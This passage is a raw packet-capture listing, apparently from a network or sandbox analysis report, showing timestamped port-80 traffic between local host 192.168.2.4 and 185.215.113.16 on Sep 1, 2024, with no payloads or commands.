Sep 1, 2024 02:48:10.727628946 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.727660894 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.730365038 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.730377913 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.730387926 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.730396032 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.730402946 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.730412960 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.730422974 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.730432034 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.730432987 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.730457067 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.730464935 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.730474949 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.730479956 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.730484962 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.730494022 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.730505943 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.730534077 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.730561972 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.730572939 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.730581999 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.730592966 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.730601072 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.730602980 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.730614901 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.730619907 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.730624914 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.730638027 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.730667114 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.730895042 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.730941057 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.730968952 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.730978966 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.731012106 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.731020927 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.731040001 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.731050014 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.731060028 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.731070042 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.731082916 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.731117010 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.731178045 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.731194973 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.731205940 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.731215954 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.731215954 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.731225967 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.731241941 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.731257915 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.731265068 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.731267929 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.731278896 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.731287003 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.731297016 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.731309891 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.731336117 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.811913013 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.811923981 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.811934948 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.811969042 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.811995983 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.812000036 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.812006950 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.812024117 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.812026024 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.812032938 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.812038898 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.812043905 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.812055111 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.812064886 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.812064886 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.812086105 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.812096119 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.812104940 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.812105894 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.812115908 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.812125921 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.812129974 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.812135935 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.812144995 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.812150955 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.812180042 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.875173092 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.875181913 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.875190020 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.875204086 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.875212908 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.875300884 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.875312090 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.875320911 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.875360012 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.875405073 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.875703096 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.875714064 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.875725031 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.875751972 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.875775099 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.875792980 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.875802994 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.875813007 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.875823975 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.875832081 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.875854969 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.875874996 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.875886917 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.875897884 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.875924110 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.875938892 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.875951052 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.875961065 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.875988960 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.875997066 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.876030922 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.876041889 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.876051903 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.876060963 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.876074076 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.876084089 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.876105070 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.876113892 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.876115084 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.876123905 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.876135111 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.876146078 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.876151085 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.876159906 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.876163960 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.876173019 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.876183987 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.876209974 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.876213074 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.876219034 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.876255035 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.876282930 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.876283884 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.876295090 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.876305103 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.876323938 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.876355886 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.876383066 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.876391888 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.876401901 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.876411915 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.876420975 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.876429081 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.876451969 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.876563072 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.876610994 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.876637936 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.876646996 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.876656055 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.876687050 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.876698017 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.876811981 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.876823902 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.876833916 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.876857042 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.876879930 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.876981974 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.876996040 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877024889 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.877033949 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877042055 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.877048016 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877060890 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877068043 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.877073050 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877085924 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.877104998 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.877115011 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877125978 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877152920 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.877171040 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.877202034 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877212048 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877221107 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877228975 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877234936 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877243042 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877249002 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.877254009 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877269983 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877275944 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.877279997 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877291918 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.877314091 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.877337933 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877347946 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877357006 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877372980 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.877388954 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.877397060 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877405882 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877414942 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877428055 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.877444029 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877446890 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.877454042 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877463102 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877474070 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.877506018 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.877535105 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877545118 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877553940 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877573967 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.877595901 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.877686977 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877726078 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.877729893 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877739906 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877758980 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.877779961 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.877796888 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877809048 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877818108 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877826929 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877840042 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.877862930 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.877974033 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877984047 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.877993107 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.878010035 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.878010988 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.878021955 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.878031015 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.878041029 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.878041983 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.878051043 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.878063917 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.878093958 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.878096104 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.878104925 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.878113985 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.878124952 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.878129005 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.878137112 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.878144979 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.878149033 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.878155947 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.878165960 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.878170967 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.878190041 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.878211975 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.878587961 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.878597975 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.878607035 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.878632069 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.878652096 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.878855944 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.878865957 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.878875971 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.878892899 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.878895998 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.878911018 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.878921986 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.878920078 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.878942966 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.878969908 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.879235029 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.879244089 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.879254103 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.879264116 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.879276037 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.879304886 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.898574114 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.898648977 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.898665905 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.898674965 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.898684978 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.898695946 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.898705959 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.898711920 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.898715973 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.898722887 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.898760080 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.898780107 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.898789883 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.898801088 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.898811102 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.898822069 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.898828030 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.898832083 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.898842096 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.898853064 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.898874998 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.898884058 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.898885965 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.898905993 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.898916006 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.898916960 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.898926973 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.898935080 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.898947954 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.898957014 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.898977041 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.899007082 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.899028063 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.899039030 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.899074078 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.962023020 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.962032080 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.962038040 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.962086916 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.962088108 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.962097883 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.962107897 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.962109089 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.962122917 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.962132931 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.962132931 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.962146997 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.962177992 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.962388039 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.962425947 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.962431908 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.962435007 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.962467909 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.962476015 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.962615967 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.962652922 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.962660074 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.962666035 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.962692976 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.962708950 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.962779999 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.962790012 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.962798119 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.962807894 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.962821960 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.962829113 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.962831974 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.962843895 CEST	80	49736	185.215.113.16	192.168.2.4
